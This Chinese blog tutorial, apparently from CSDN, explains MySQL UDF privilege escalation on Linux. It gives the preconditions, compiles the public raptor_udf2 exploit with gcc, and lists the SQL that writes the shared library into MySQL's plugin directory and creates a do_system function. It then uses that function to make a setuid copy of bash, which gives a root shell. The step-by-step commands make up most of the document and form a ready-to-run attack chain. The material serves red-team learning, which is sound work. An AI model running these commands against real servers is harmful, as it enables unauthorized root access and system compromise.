Linux提权精讲(二)Mysql udf提权

该文章Mysql udf提权适用于 Mysql >= 5.1,请各位注意版本号后再进行尝试!

什么是Mysql udf提权?

Mysql udf 提权就是利用 Mysql 允许用户自定义函数的机制进行提权。

“udf” 也就是 User Defiend Function,用户自定义函数。在Mysql数据库中,允许用户自定义创建自己的函数,这些函数可以在SQL查询中使用。通过使用自定义函数,使用者可以更加简便的进行数据库的查询等操作。

Mysql udf 提权条件:

(1)secure_file_priv为空或正好设置的路径为我们所需要导入的路径。这一点是最关键也是决定我们能否利用udf进行提取。因为secure_file_priv决定了我们是否有上传文件等操作的权限,其中限制了load_file(),select ....... into outfile,load date 等函数的权限。因此当secure_file_priv 为空时其也就表示了可以对任意路径进行操作。

mysql> show variables like '%secure_file_priv%';

若secure_file_priv的值被设置为 /var/lib/mysql-files/,则表示只能在指定目录 /var/lib/mysql-files/ 下进行文件的操作。

(2)拥有Mysql数据库的用户,该用户需要对Mysql拥有 Insert、create、delete等操作权限,最好是直接以root账户

提权步骤:

(1)准备好利用文件

我们可以先利用searchsploite查询mysql udf提权可利用的文件,我们可以利用其中的 1518.c 文件作为提权的脚本

将利用脚本下载下来当作备用,将其改名字为 raptor_udf2.c

(2)我们可以查看 raptor_udf2.c 脚本文件,里面有脚本文件利用的方法步骤

我们可以按照脚本里的利用方法对其进行利用

(3)利用php建立临时web服务器,将脚本文件传输到靶机中,接着开始按照步骤一步步开始利用

(4)具体命令讲解

gcc -g -c raptor_udf2.c -fPIC

1、-g:表示会生成调试信息,使得你在调试器中调试编译后的程序。生成的调试信息包含源代码行号、局部变量、局部和全局变量信息等

2、-c:这个是选项表示编译器仅编译源代码,不进行链接。编译器会生成一个目标文件,通常有 .o 的拓展名。这对于将多个源文件分别编译成目标文件,然后链接为一个可执行文件程序或库很有用。

3、-fPIC:这表示生成位置无关代码。这种代码可以在内存中的任何位置执行。

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

1、-g:表示会生成调试信息,使得你在调试器中调试编译后的程序。生成的调试信息包含源代码行号、局部变量、局部和全局变量信息等

2、-share:这个指示编译器生成一个共享库文件,而不是一个可执行文件。共享库允许多个程序共享相同的库代码,从而减少了程序的大小和内存占用

3、-Wl:该选项会告诉编译器将后面的选项传递给链接器。在这里它用于传递 -soname,raptor_udf2.so 选项

4、-soname,raptor_udf2.so:这个选项设置了生成共享库的共享对象名称。soname 是一个简短的标识符,用于在运行时链接器解析共享库依赖关系时引用该数据库。通常,soname 包括主版本号,以便在升级库时保持二进制的兼容性。

5、-o raptor_udf2.so:指定输出了文件名称,即生成的文件共享库名称。

6、-lc:这个选项告诉链接器链接 C 标准库。

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

其中需要特别注意的是 /usr/lib/mysql/plugin/raptor_udf2.so 文件的路径位置,因为不同版本号的数据库可能路径有不同的差别,因此需要我们特别查询进行文件构造

执行udf:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

我们可以看到其属主和属组均属于root,并且我们有s位的权限,因此我们执行bash后会获得root的权限

提权:

/tmp/rootbash -p

提权成功

Mysql udf 提权总结:

通过Mysql允许用户自定义函数,以更高级的权限自定义一些能够执行的系统命令的函数,然后导入mysql数据库中,通过数据库去以高权限执行系统命令,获得提权。

参考内容:「红队笔记」Linux提权精讲:演示1 - 服务漏洞利用提权,以MySQL-UDF提权为例_哔哩哔哩_bilibili

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值